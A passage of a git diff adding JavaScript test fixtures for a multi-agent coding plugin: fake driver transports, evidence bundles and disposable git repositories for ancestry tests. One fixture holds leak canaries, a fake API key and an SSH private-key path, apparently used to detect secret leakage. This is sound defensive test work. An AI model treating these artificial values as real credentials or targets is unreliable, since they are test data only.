result[key]; + Object.defineProperty(result, key, { + enumerable: true, + get() { + counter.reads += 1; + return base[key]; + }, + }); + return result; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs new file mode 100644 index 0000000..77fe3fc --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs @@ -0,0 +1,215 @@ +// Shared P20 DSH ACPX driver fixtures. Neutral construction only: tests own +// every assertion. The fake transport here is a deterministic injected +// bounded one-shot ACPX port; it never touches a real provider, process, +// filesystem, or network, and it exposes exactly the closed five-function +// surface the driver validates. + +import { createDshApxDriverV1 } from '../../mcp/v3/dsh-acpx-driver.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; +import { DRIVER_OPERATION_SCHEMA_IDS } from '../../mcp/v3/provider-driver.mjs'; + +export const DSH_BASE_SHA = 'c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2'; +export const DSH_REPOSITORY_PATH = '/opt/codex-co-engineer-dsh-driver/smoke'; +export const DSH_RUN_ID = 'dsh-acpx-smoke'; + +export const MUSE_MODEL = 'muse-spark-1.2-contributor'; +export const OX_MODEL = 'stealth/ox-alpha'; + +// Marker used to prove prompt/question content never reaches driver outputs. +export const LEAK_MARKER = 'XSECRET7Q'; + +const POLICY = Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', +}); + +export function dshManifest(model, assignmentId = 'dsh-lane') { + return { + schema: 'codex-co-engineer.run.v1', + run_id: DSH_RUN_ID, + repository: { path: DSH_REPOSITORY_PATH, base_sha: DSH_BASE_SHA }, + objective: `Drive the ${model} lane under the bounded run contract.`, + assignments: [{ + assignment_id: assignmentId, + role: 'implement', + access: 'writer', + prompt: `Implement the ${assignmentId} lane. Ignore ${LEAK_MARKER} markers.`, + execution: { provider: 'dsh', model }, + write_scope: ['src/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + }], + policy: POLICY, + return_contract: { mode: 'verified_decision', include_artifact_refs: true }, + }; +} + +export function dshEnvelope(model, assignmentId = 'dsh-lane') { + const envelope = compileChildEnvelopeV1(dshManifest(model, assignmentId), assignmentId); + return Object.freeze({ + envelope, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + }); +} + +export const IDENTITY_CONFIG_PATH = '/home/test-user/.config/codex-co-engineer/dsh-acp.yml'; +export const IDENTITY_CONFIG_SHA = 'a'.repeat(64); +export const IDENTITY_CREDENTIAL_SOURCE = 'env'; +export const IDENTITY_CREDENTIAL_SHA = 'b'.repeat(64); + +export function readyIdentity(overrides = {}) { + return { + ready: true, + config_path: IDENTITY_CONFIG_PATH, + config_sha256: IDENTITY_CONFIG_SHA, + credential_source: IDENTITY_CREDENTIAL_SOURCE, + credential_sha256: IDENTITY_CREDENTIAL_SHA, + ...overrides, + }; +} + +// Deterministic recorded-evidence fake of an ACPX one-shot port. Every knob +// is optional; defaults produce a healthy Muse lane that dispatches once and +// then reports running evidence with bounded status pages. +// +// Returns { port, calls, counts(), nextSeq() } where `port` is exactly the +// closed five-function transport record and the rest is test introspection +// kept OUTSIDE the validated surface. +export function fakeDshTransport({ + identity = readyIdentity(), + spawnReceipts, + polls, + eventPages, + cancelReceipts, + throwOnSpawn, + throwOnPoll, + throwOnEvents, + throwOnCancel, + throwOnIdentity, + recordCalls = true, +} = {}) { + let identityCalls = 0; + let spawnCalls = 0; + let pollCalls = 0; + let eventCalls = 0; + let cancelCalls = 0; + let seq = 0; + const calls = { configIdentity: [], spawn: [], poll: [], events: [], cancel: [] }; + const pick = (list, index, label) => { + if (!Array.isArray(list) || list.length === 0) return undefined; + const value = list[Math.min(index, list.length - 1)]; + if (value === undefined) throw new Error(`fixture missing ${label}[${index}]`); + return value; + }; + const correlationEcho = (request) => ({ session_ref: request.session_ref, ...request.correlation }); + const port = { + configIdentity(request) { + identityCalls += 1; + if (recordCalls) calls.configIdentity.push(request); + if (throwOnIdentity) throw throwOnIdentity(identityCalls); + if (typeof identity === 'function') return identity(identityCalls, request); + const entry = Array.isArray(identity) + ? pick(identity, identityCalls - 1, 'identity') + : identity; + return entry === undefined ? undefined : { ...entry }; + }, + spawn(request) { + spawnCalls += 1; + if (recordCalls) calls.spawn.push(request); + if (throwOnSpawn) throw throwOnSpawn(spawnCalls); + const raw = spawnReceipts ? pick(spawnReceipts, spawnCalls - 1, 'spawn receipt') : undefined; + return typeof raw === 'function' + ? raw(request, spawnCalls) + : raw ?? { session_ref: `sess-dsh-${String(spawnCalls).padStart(4, '0')}` }; + }, + poll(request) { + pollCalls += 1; + if (recordCalls) calls.poll.push(request); + if (throwOnPoll) throw throwOnPoll(pollCalls); + const defaults = { + state: 'running', event_count: 4, cursor: seq, + updated_at_ms: 1_000 + pollCalls, + }; + const raw = polls ? pick(polls, pollCalls - 1, 'poll receipt') : undefined; + // Function receipts take full control (adversarial shapes stay exact); + // object receipts merge over correlation and recorded-evidence defaults. + return typeof raw === 'function' + ? raw(request, pollCalls) + : { ...correlationEcho(request), ...defaults, ...raw }; + }, + events(request) { + eventCalls += 1; + if (recordCalls) calls.events.push(request); + if (throwOnEvents) throw throwOnEvents(eventCalls); + const rawPage = eventPages ? pick(eventPages, eventCalls - 1, 'event page') : undefined; + const page = typeof rawPage === 'function' + ? rawPage(request, eventCalls) + : rawPage ?? { + records: Array.from({ length: request.max_records }, () => ({ + seq: (seq += 1), kind: 'status', bytes: 16, + })), + next_cursor: seq, + truncated: false, + }; + return page; + }, + cancel(request) { + cancelCalls += 1; + if (recordCalls) calls.cancel.push(request); + if (throwOnCancel) throw throwOnCancel(cancelCalls); + const raw = cancelReceipts ? pick(cancelReceipts, cancelCalls - 1, 'cancel receipt') : undefined; + return typeof raw === 'function' + ? raw(request, cancelCalls) + : { ...correlationEcho(request), outcome: 'confirmed', ...raw }; + }, + }; + return { + port, + calls, + counts: () => ({ + configIdentity: identityCalls, spawn: spawnCalls, + poll: pollCalls, events: eventCalls, cancel: cancelCalls, + }), + nextSeq: () => (seq += 1), + }; +} + +export function createFixtureDriver(model, transportBundleOrPort, options = {}) { + const transport = transportBundleOrPort?.port ?? transportBundleOrPort; + return createDshApxDriverV1({ transport, workspace_mode: 'managed', ...options }); +} + +// Drive preflight -> launch so tests start from an honestly-uncertain lane. +export function dispatchLane(driver, fixture, requestExtras = {}) { + const requestFor = (operation, extras = {}) => ({ + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: 1, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...extras, + }); + const preflight = driver.preflight({ ...requestFor('preflight'), ...requestExtras.preflight }); + const launch = driver.launch({ ...requestFor('launch'), ...requestExtras.launch }); + return { + preflight, + launch, + requestFor, + reconcile: (extras = {}) => driver.reconcile(requestFor('reconcile', extras)), + cancel: (extras = {}) => driver.cancel(requestFor('cancel', extras)), + launchAgain: () => driver.launch(requestFor('launch')), + preflightAgain: () => driver.preflight(requestFor('preflight')), + }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs new file mode 100644 index 0000000..707b909 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs @@ -0,0 +1,199 @@ +// Shared fixtures for the W12-P13 EvidenceBundleV1 tests. +// Pure data and tiny local helpers; no I/O and no product imports beyond +// the evidence and artifact modules under test. + +import { ARTIFACT_REF_SCHEMA_ID } from '../../mcp/v3/artifact-ref.mjs'; +import { canonicalJsonStringify } from '../../mcp/v3/identity.mjs'; +import { createHash } from 'node:crypto'; + +export const RUN_ID = 'run-evidence-01'; +export const REQUEST_ID = 'sel-0123456789abcdef0123456789abcdef'; +export const ASSIGNMENT_ID = 'lane-alpha'; +export const PROVIDER = 'dsh'; +export const MODEL = 'stealth/ox-alpha'; +export const BASE_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const HEAD_SHA = 'b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0'; +export const REPOSITORY_PATH = '/tmp/cce-r1-evidence-repo'; +export const COMMAND_ID = 'unit-tests'; + +export const SHA_REPORT = '11'.repeat(32); +export const SHA_ACCEPT = '22'.repeat(32); +export const SHA_DIFF = '33'.repeat(32); +export const SHA_INPUT = '44'.repeat(32); +export const SHA_OUTPUT = '55'.repeat(32); +export const SHA_PATHSET = '66'.repeat(32); + +export function payloadDigest(payload) { + return createHash('sha256').update(canonicalJsonStringify(payload), 'utf8').digest('hex'); +} + +export function validClaim(overrides = {}) { + const payload = overrides.payload ?? { result: 'pass' }; + const claim = { + claim_id: 'c-tests', + claim_kind: 'tests_passed', + status: 'asserted', + code: 'provider_reported', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + subject: 'unit-tests', + payload, + artifact_digests: [SHA_REPORT], + ...overrides, + }; + if (overrides.payload !== undefined) claim.payload = overrides.payload; + return claim; +} + +export function validModelClaim(overrides = {}) { + return validClaim({ + claim_id: 'c-model', + claim_kind: 'model_used', + sequence: 1, + subject: 'model', + payload: { model: MODEL }, + ...overrides, + }); +} + +export function validFact(overrides = {}) { + const payload = overrides.payload ?? { command_id: COMMAND_ID, result: 'pass' }; + return { + fact_id: 'f-accept', + fact_kind: 'acceptance_results', + status: 'verified', + code: 'host_observed', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + subject: 'unit-tests', + authority: 'platform_acceptance_runner', + method: 'approved_command_execution', + input_digest: SHA_INPUT, + output_digest: SHA_OUTPUT, + exit_code: 0, + duration_ms: 1200, + truncated: false, + payload, + artifact_digests: [SHA_ACCEPT], + ...overrides, + }; +} + +export function validGitIdentityFact(overrides = {}) { + return validFact({ + fact_id: 'f-git', + fact_kind: 'git_identity', + sequence: 1, + subject: 'repository', + authority: 'platform_git', + method: 'ancestry_check', + exit_code: null, + payload: { base_sha: BASE_SHA, head_sha: HEAD_SHA }, + artifact_digests: [SHA_DIFF], + ...overrides, + }); +} + +export function validArtifactRef(overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + artifact_kind: 'git_diff', + artifact_class: 'sanitized', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/diff.patch`, + byte_length: 2048, + sha256: SHA_DIFF, + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export function reportRef(overrides = {}) { + return validArtifactRef({ + artifact_kind: 'provider_report', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/report.txt`, + sha256: SHA_REPORT, + ...overrides, + }); +} + +export function acceptanceRef(overrides = {}) { + return validArtifactRef({ + artifact_kind: 'acceptance_output', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/accept.json`, + sha256: SHA_ACCEPT, + media_type: 'application/json', + ...overrides, + }); +} + +export function validDiscrepancy(overrides = {}) { + return { + discrepancy_id: 'd-mismatch', + discrepancy_kind: 'mismatch', + status: 'recorded', + code: 'claim_fact_mismatch', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + claim_ids: ['c-tests'], + fact_ids: ['f-accept'], + artifact_digests: [], + ...overrides, + }; +} + +export function validBundle(overrides = {}) { + return { + schema: 'codex-co-engineer.evidence-bundle.v1', + version: 1, + run_id: RUN_ID, + request_id: REQUEST_ID, + assignment_id: ASSIGNMENT_ID, + provider: PROVIDER, + model: MODEL, + repository: { path: REPOSITORY_PATH, base_sha: BASE_SHA }, + sequence: 0, + final_state: 'pass', + claims: [validClaim()], + facts: [validFact(), validGitIdentityFact()], + discrepancies: [], + artifacts: [reportRef(), acceptanceRef(), validArtifactRef()], + ...overrides, + }; +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs b/plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs new file mode 100644 index 0000000..81421b2 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs @@ -0,0 +1,192 @@ +// Inert P22 future-harness conformance fixtures. Fake identities and +// scripted drivers only. Callers inject every identity; nothing reads the +// clock, network, credentials, or process table. + +import { FUTURE_HARNESS_FAIL_CLOSED_FEATURES } from '../../mcp/v3/future-harness.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, +} from '../../mcp/v3/provider-driver.mjs'; +import { p17Record } from './r1-resolver-fixtures.mjs'; + +export const FUTURE_HARNESS_FIXTURE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const FUTURE_HARNESS_FIXTURE_REPOSITORY_PATH = '/repo/future-harness-conformance'; +export const FUTURE_HARNESS_FIXTURE_RUN_ID = 'future-harness-kit'; +export const FUTURE_HARNESS_FIXTURE_ASSIGNMENT_ID = 'contract-lane'; +export const FUTURE_HARNESS_FIXTURE_REQUEST_ID = 'req-conformance-1'; +export const FUTURE_HARNESS_FIXTURE_BRANCH = 'codex-co-engineer/future-harness-kit'; +export const FUTURE_HARNESS_SECRET_CANARY = 'sk-leakedsecretvalue'; +export const FUTURE_HARNESS_PATH_CANARY = '/opt/secret-user/.ssh/id_ed25519'; + +const PROVIDER_MODELS = Object.freeze({ + grok: 'grok-4', + 'cursor-local': 'composer-1', + 'cursor-cloud': 'claude-sonnet-4-5', + dsh: 'stealth/ox-alpha', +}); + +export function futureHarnessFailClosedDeclarationV1(provider, capabilityOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record(provider, { + create_pr_posture: 'prohibited', + notes: `${provider} future-harness fail-closed fixture`, + revision: 'p22.fixture.1', + ...capabilityOverrides, + }), + features: { ...FUTURE_HARNESS_FAIL_CLOSED_FEATURES }, + }; +} + +export function futureHarnessSupportedDeclarationV1(provider, featureOverrides = {}, capabilityOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record(provider, { + create_pr_posture: 'prohibited', + notes: `${provider} future-harness supported-feature fixture`, + revision: 'p22.fixture.1', + ...capabilityOverrides, + }), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + ...featureOverrides, + }, + }; +} + +export function buildFutureHarnessFixtureV1(provider = 'dsh', overrides = {}) { + const model = overrides.model ?? PROVIDER_MODELS[provider]; + const baseSha = overrides.base_sha ?? FUTURE_HARNESS_FIXTURE_BASE_SHA; + const assignment = { + assignment_id: FUTURE_HARNESS_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the future-harness contract lane exactly.', + execution: { provider, model }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + }; + if (provider === 'cursor-cloud') assignment.starting_ref = baseSha; + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: FUTURE_HARNESS_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: FUTURE_HARNESS_FIXTURE_REPOSITORY_PATH, + base_sha: baseSha, + }), + objective: 'Exercise the P22 future-harness conformance kit.', + assignments: Object.freeze([Object.freeze(assignment)]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + }); + const envelope = compileChildEnvelopeV1(manifest, FUTURE_HARNESS_FIXTURE_ASSIGNMENT_ID); + const identity = Object.freeze({ + provider, + model, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + request_id: FUTURE_HARNESS_FIXTURE_REQUEST_ID, + branch: FUTURE_HARNESS_FIXTURE_BRANCH, + base_sha: envelope.repository.base_sha, + workspace_semantics: provider === 'cursor-cloud' ? 'remote_provider_managed' : 'local_managed_worktree', + workspace_starting_point: provider === 'cursor-cloud' ? 'pinned_pushed_sha' : 'run_base_sha', + }); + return Object.freeze({ + manifest, + envelope, + identity, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +export function futureHarnessTemplateOptionsV1(provider = 'dsh', declarationOverrides = {}) { + const fixture = buildFutureHarnessFixtureV1(provider); + return Object.freeze({ + fixture, + options: Object.freeze({ + identity: fixture.identity, + declaration: futureHarnessFailClosedDeclarationV1(provider, declarationOverrides), + }), + }); +} + +function detailFor(operation, disposition) { + if (operation === 'preflight' && disposition === 'blocked') { + return { + detail_code: 'model_unattested', + detail_message: 'The installed driver cannot attest the requested model.', + }; + } + if (operation === 'launch' && disposition === 'not_sent') { + return { + detail_code: 'transport_unavailable', + detail_message: 'No provider transport is configured.', + }; + } + return {}; +} + +export function scriptedFutureHarnessResultV1(operation, request, fixture, disposition, extra = {}) { + return { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: fixture.identity.run_id, + assignment_id: fixture.identity.assignment_id, + lane_index: fixture.identity.lane_index, + base_sha: fixture.identity.base_sha, + child_envelope_digest: request.child_envelope_digest, + disposition, + ...detailFor(operation, disposition), + ...extra, + }; +} + +export function createScriptedFutureHarnessDriverV1(fixture, dispositions = {}) { + const chosen = { + preflight: 'ready', + launch: 'dispatch_uncertain', + reconcile: 'terminal', + cancel: 'already_terminal', + ...dispositions, + }; + let terminal = false; + return { + preflight: (request) => scriptedFutureHarnessResultV1( + 'preflight', request, fixture, chosen.preflight, + ), + launch: (request) => scriptedFutureHarnessResultV1( + 'launch', request, fixture, chosen.launch, + ), + reconcile: (request) => { + const disposition = terminal ? 'terminal' : chosen.reconcile; + if (disposition === 'terminal') terminal = true; + return scriptedFutureHarnessResultV1('reconcile', request, fixture, disposition); + }, + cancel: (request) => { + const disposition = terminal ? 'already_terminal' : chosen.cancel; + if (disposition === 'already_terminal' || disposition === 'cancel_confirmed') { + terminal = true; + } + return scriptedFutureHarnessResultV1('cancel', request, fixture, disposition); + }, + }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs new file mode 100644 index 0000000..8ead3af --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs @@ -0,0 +1,135 @@ +// Shared fixtures for the P28 GitAuthorityPolicyV1 tests. +// Construction only: tests own the assertions. Disposable repositories +// never attach remotes or credentials. + +import { spawnSync } from 'node:child_process'; +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, +} from '../../mcp/v3/git-authority.mjs'; + +export const RUN_ID = 'run-authority-01'; +export const ASSIGNMENT_ID = 'lane-alpha'; +export const OTHER_ASSIGNMENT_ID = 'lane-beta'; +export const BASE_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const REPOSITORY_PATH = '/tmp/cce-r1-authority-repo'; +export const MANIFEST_DIGEST_HEX = 'ab'.repeat(32); +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export const GIT_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + HOME: '/tmp', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_AUTHOR_NAME: 'p28', + GIT_AUTHOR_EMAIL: 'p28@example.test', + GIT_COMMITTER_NAME: 'p28', + GIT_COMMITTER_EMAIL: 'p28@example.test', +}); + +export function validIdentity(overrides = {}) { + return { + repository_path: REPOSITORY_PATH, + base_sha: BASE_SHA, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + ...overrides, + }; +} + +export function operationRequest(overrides = {}) { + return { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: 'worker', + operation: 'commit_on_lane_branch', + identity: validIdentity(), + manifest_digest_hex: MANIFEST_DIGEST_HEX, + ...overrides, + }; +} + +export function git(cwd, args) { + const result = spawnSync('/usr/bin/git', [ + '-c', 'init.defaultBranch=main', + '-c', 'user.name=p28', + '-c', 'user.email=p28@example.test', + ...args, + ], { cwd, encoding: 'utf8', env: GIT_ENV }); + if (result.status !== 0) { + const error = new Error('disposable git command failed'); + error.code = 'git_fixture_failed'; + throw error; + } + return result.stdout; +} + +export async function withDisposableRepo(build) { + const root = await mkdtemp(path.join(tmpdir(), 'cce-r1-p28-')); + try { + return await build(root); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +export async function initRepo(root) { + git(root, ['init', '--initial-branch=main']); + git(root, ['commit', '--allow-empty', '-m', 'base']); +} + +export function parentCounts(root, spec = 'HEAD') { + const output = git(root, ['rev-list', '--parents', '--reverse', spec]); + const counts = []; + for (const line of output.split('\n')) { + if (line.length === 0) continue; + counts.push(line.split(' ').length - 1); + } + return counts; +} + +export async function writeLinearHistory(root) { + await initRepo(root); + git(root, ['commit', '--allow-empty', '-m', 'second']); + return parentCounts(root); +} + +export async function writeMergeHistory(root) { + await initRepo(root); + git(root, ['checkout', '-b', 'other']); + git(root, ['commit', '--allow-empty', '-m', 'side']); + git(root, ['checkout', 'main']); + git(root, ['merge', '--no-ff', '-m', 'merge', 'other']); + return parentCounts(root); +} + +export async function writeOctopusHistory(root) { + await initRepo(root); + git(root, ['checkout', '-b', 'one']); + git(root, ['commit', '--allow-empty', '-m', 'one']); + git(root, ['checkout', 'main']); + git(root, ['checkout', '-b', 'two']); + git(root, ['commit', '--allow-empty', '-m', 'two']); + git(root, ['checkout', 'main']); + git(root, ['merge', '--no-ff', '-m', 'octopus', 'one', 'two']); + return parentCounts(root); +} + +export async function writeDefaultBranchTarget(root) { + await initRepo(root); + await writeFile(path.join(root, 'tracked.txt'), 'lane\n', 'utf8'); + git(root, ['add', 'tracked.txt']); + git(root, ['commit', '-m', 'tracked']); + const defaultBranch = git(root, ['symbolic-ref', '--short', 'HEAD']).trim(); + return { defaultBranch, counts: parentCounts(root) }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs new file mode 100644 index 0000000..bf88b88 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs @@ -0,0 +1,469 @@ +// Disposable repository fixtures for W13-P14 Git identity and ancestry +// verification. Construction uses argv git only; the product verifier is +// never imported here so forged histories stay parent-failing until the +// verifier module exists. + +import { spawn } from 'node:child_process'; +import { mkdir, mkdtemp, rename, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +export const RUN_ID = 'run-git-identity-01'; +export const ASSIGNMENT_ID = 'lane-verify'; +export const BASE_REF = 'refs/heads/main'; + +const GIT = '/usr/bin/git'; +const FIXTURE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P14 Fixture', + GIT_AUTHOR_EMAIL: 'p14@example.test', + GIT_COMMITTER_NAME: 'P14 Fixture', + GIT_COMMITTER_EMAIL: 'p14@example.test', + GIT_AUTHOR_DATE: '2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function validRequest(overrides = {}) { + const repository = overrides.repository ?? { + path: overrides.path, + base_sha: overrides.base_sha, + }; + const request = { + repository, + expected_base_ref: overrides.expected_base_ref ?? BASE_REF, + candidate_head_sha: overrides.candidate_head_sha ?? overrides.head_sha, + run_id: overrides.run_id ?? RUN_ID, + assignment_id: overrides.assignment_id ?? ASSIGNMENT_ID, + sequence: overrides.sequence ?? 0, + }; + for (const key of Object.keys(overrides)) { + if (key === 'path' || key === 'base_sha' || key === 'head_sha') continue; + request[key] = overrides[key]; + } + return request; +} + +function runFixtureGit(cwd, args, env = FIXTURE_ENV) { + return new Promise((resolve, reject) => { + const child = spawn(GIT, args, { + cwd, + env, + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdoutChunks = []; + const stderrChunks = []; + child.stdout.on('data', (chunk) => stdoutChunks.push(chunk)); + child.stderr.on('data', (chunk) => stderrChunks.push(chunk)); + child.on('error', reject); + child.on('close', (code) => { + const stdout = Buffer.concat(stdoutChunks).toString('utf8').trim(); + const stderr = Buffer.concat(stderrChunks).toString('utf8').trim(); + if (code !== 0) { + const error = new Error(`fixture git failed: ${args.join(' ')}`); + error.stdout = stdout; + error.stderr = stderr; + error.code = code; + reject(error); + return; + } + resolve(stdout); + }); + }); +} + +async function emptyRepo(prefix) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--initial-branch=main']); + return root; +} + +async function commit(root, message, fileName = 'file.txt', contents = message) { + await writeFile(path.join(root, fileName), `${root}\n${contents}\n`, 'utf8'); + await runFixtureGit(root, ['add', '--', fileName]); + await runFixtureGit(root, ['commit', '-m', `${message} ${root}`]); + return runFixtureGit(root, ['rev-parse', 'HEAD']); +} + +export async function cleanupRepo(root) { + await rm(root, { recursive: true, force: true }); +} + +function wrap(root, fields) { + return { + path: root, + ...fields, + cleanup: () => cleanupRepo(root), + }; +} + +export async function createLinearRepo() { + const root = await emptyRepo('p14-linear-'); + const baseSha = await commit(root, 'base', 'base.txt', 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const headSha = await commit(root, 'head', 'head.txt', 'head'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { commits: [baseSha, headSha] } }); +} + +export async function createStaleBaseRepo() { + const root = await emptyRepo('p14-stale-'); + const expectedBaseSha = await commit(root, 'expected-base', 'a.txt', 'a'); + const currentBaseSha = await commit(root, 'moved-base', 'b.txt', 'b'); + return wrap(root, { + baseSha: expectedBaseSha, + headSha: currentBaseSha, + extra: { currentBaseSha }, + }); +} + +export async function createRewrittenHistoryRepo() { + const root = await emptyRepo('p14-rewrite-'); + const expectedBaseSha = await commit(root, 'original-base', 'orig.txt', 'orig'); + await runFixtureGit(root, ['branch', '--', 'keep-original']); + await runFixtureGit(root, ['checkout', '--orphan', 'rewritten']); + await runFixtureGit(root, ['rm', '-rf', '--', '.']); + const rewrittenSha = await commit(root, 'rewritten-root', 'new.txt', 'new'); + await runFixtureGit(root, ['checkout', '-B', 'main', rewrittenSha]); + return wrap(root, { + baseSha: expectedBaseSha, + headSha: rewrittenSha, + extra: { rewrittenSha }, + }); +} + +export async function createUnreachableHeadRepo() { + const root = await emptyRepo('p14-unreach-'); + const baseSha = await commit(root, 'base', 'base.txt', 'base'); + await runFixtureGit(root, ['checkout', 